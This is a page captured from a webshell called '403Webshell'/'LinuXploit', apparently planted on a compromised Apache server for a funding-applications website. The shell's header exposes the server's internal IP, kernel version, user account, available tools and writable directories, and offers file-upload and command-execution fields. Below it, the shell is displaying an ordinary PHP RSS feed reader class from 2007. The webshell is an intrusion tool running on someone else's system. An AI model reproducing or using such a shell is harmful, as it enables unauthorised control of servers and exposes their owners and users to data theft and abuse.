403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usafundingapplications.org/vsa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usafundingapplications.org/vsa/rss_feed_reader.php
<?php

	##---------------------------------------------------------------------
	##---------------------------------------------------------------------
	##	MODULE :: mod_rss
	##	by Daniel Tlach
	##	e-mail: mail@danaketh.com
	##	web: http://www.danaketh.com/
	##	B: Saturday, 17th February 2007 03:51:31 AM $1171680691
	##	E: Saturday 17th February 2007 10:05:53 PM $1171746353
	##  Modified by Dave Guindon, there was a small bug
	##---------------------------------------------------------------------
	##	FUNCTIONS:
	##	> parser($feed, $max, $print)
	##	> core_beginElement($parser, $tag)
	##	> core_endElement($parser, $tag)
	##	> core_characterData($parser, $data)
	##	> core_loadFeed()
	##---------------------------------------------------------------------
	##	KNOWN BUGS:
	##	
	##---------------------------------------------------------------------
	##	NOTES:
	##	> It's possible to switch between direct output (script prints
	##	> immediately) or array output. You can also set how much item you
	##	> want to print. If you need/want to modify HTML used in direct
	##	> output, find lines 144 - 151.
	##---------------------------------------------------------------------
	##	USAGE:
	##	> $feed = 'http://www.domain.com/feed.xml';
	##	> $max_items = 5;
	##	> $rss = new mod_rss();
	##	>
	##	> // for direcet output
	##	> $direct_output = true;
	##	> $rss->parser($feed, $max_items, $direct_output);
	##	>
	##	> // for array output
	##	> $direct_output = false;
	##	> $rss_array = $rss->parser($feed, $max_items, $direct_output);
	##---------------------------------------------------------------------
	##	ARRAY OUTPUT:
	##	> $var[$row]['title'] - title
	##	> $var[$row]['description'] - description
	##	> $var[$row]['link'] - link
	##	> $var[$row]['date'] - date
	##---------------------------------------------------------------------
	##---------------------------------------------------------------------
	
	class mod_rss	{
	
		##---------------------------------------------------------------------
		##	VARIABLES:
		##---------------------------------------------------------------------
		var $parser; // parser holder
		var $feed; // feed URL
		
		var $title; // item title
		var $description; // item content
		var $link; // item link
		var $pubDate; // item date of publishing
		var $insideitem = false; // are we inside ITEM?
		var $tag; // name of tag inside item
		var $items_max = 0; // max number of item we want to show
		var $items_num = 0; // current count of items
		var $direct = false; // direct output
		var $output = array(); // output array (if direct output is disabled)
		var $counter = 0; // counter for direct output array
	
	
		##---------------------------------------------------------------------
		##	FUNCTION: core_parser($feed, $max, $print)
		##---------------------------------------------------------------------
		function parser($feed, $max, $print)	{
			#-> handling wrong values
			#-> feed URL
			if (!is_string($feed)):
				#-> break script
				break;
			endif;
			#-> max items
			if (!is_int($max)):
				#-> set to 0
				$max = 0;
			endif;
			#-> direct output
			if (!is_bool($print)):
				#-> disable
				$print = false;
			endif;
			
			#-> create XML parser instance
			$this->parser = xml_parser_create();
			#-> assign feed source
			$this->feed = $feed;
			#-> allow using parser inside object
			xml_set_object($this->parser,&$this);
			#-> element handler functions
			xml_set_element_handler($this->parser, "core_beginElement", "core_endElement");
			#-> character data handler
			xml_set_character_data_handler($this->parser, "core_characterData");
			
			#-> set maximum of displayed items
			#-> we have to set it $max - 1, because counting starts with 0
			if ($max == 0 || !$max):
				$this->items_max = 0;
			else:
				$this->items_max = $max - 1;
			endif;
			
			#-> set direct output
			#-> true - direct output enabled; false - direct output disabled
			$this->direct = $print;
			
			#-> call source
			$this->core_loadFeed();
			
			return $this->output;
		}
		
		
		##---------------------------------------------------------------------
		##	FUNCTION: core_beginElement($parser, $tag)
		##---------------------------------------------------------------------
		function core_beginElement($parser, $tag) {
			#-> called when start tag is encountered
			if ($this->insideitem):
				$this->tag = $tag;
			#-> ITEM encountered
			elseif ($tag == "ITEM"):
				$this->insideitem = true;
			endif;
		}
	
	
		##---------------------------------------------------------------------
		##	FUNCTION: core_endElement($parser, $tag)
		##---------------------------------------------------------------------
		function core_endElement($parser, $tag)	{
			#-> called when end tag is encountered
			if ($tag == "ITEM" && $this->items_num <= $this->items_max):
				#-> direct output is enabled
				if ($this->direct == true):
					#-> title
					printf("<dt><b><a href='%s'>%s</a></b></dt>\n",
						trim($this->link),
						htmlspecialchars(trim($this->title)));
					#-> description
					printf("<dd>%s</dd>\n",
						htmlspecialchars(trim($this->description)));
					#-> date
					printf("<dd>%s</dd>\n",
						htmlspecialchars(trim($this->pubDate)));
				#-> direct output is disabled
				else:
					#-> title
					$this->output[$this->counter]['title'] = $this->title;
					#-> description
					$this->output[$this->counter]['description'] = $this->description;
					#-> link
					$this->output[$this->counter]['link'] = $this->link;
					#-> date
					$this->output[$this->counter]['date'] = $this->pubDate;
					#-> counter for array
					$this->counter++;
				endif;
				#-> empty variables
				$this->title = NULL;
				$this->description = NULL;
				$this->link = NULL;
				$this->pubDate = NULL;
				$this->insideitem = false;
				#-> maximum of displayed items
				if ($this->items_max > 0):
					$this->items_num++;
				endif;
			endif;
		}	
		

		##---------------------------------------------------------------------
		##	FUNCTION: core_characterData($parser, $tag)
		##---------------------------------------------------------------------
		function core_characterData($parser, $data) {
			#-> if parser is inside item
			if ($this->insideitem):
				switch ($this->tag):
					#-> get title
					case "TITLE":
						$this->title .= $data;
						break;
					#-> get description
					case "DESCRIPTION":
						$this->description .= $data;
						break;
					#-> get link
					case "LINK":
						$this->link .= $data;
						break;
					#-> get date when item was publicated
					case "PUBDATE":
						$this->pubDate .= $data;
						break;
				endswitch;
			endif;
		}


		##---------------------------------------------------------------------
		##	FUNCTION: core_loadFeed()
		##---------------------------------------------------------------------
		function core_loadFeed(){
			#-> open file
			$fp = @fopen($this->feed,"r");
			#-> error handling
			if (!$fp):
				#-> break script
				break;
				#-> you can also use die()
				#die("Unexpected error while reading the Feed");
			endif;
			
			#-> read the content
			while ($data = fread($fp, 4096)):
				#-> put data to parser
				xml_parse($this->parser, $data, feof($fp));
			endwhile;
			#-> close the file
			fclose($fp);
			#-> free $fp
			#-> This is not necessary, but PHP will destroy only variables,
			#-> not their values. This is the way how we can handle that.
			$fp = NULL;
			unset($fp);
			#-> release parser
			xml_parser_free($this->parser);
		}
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit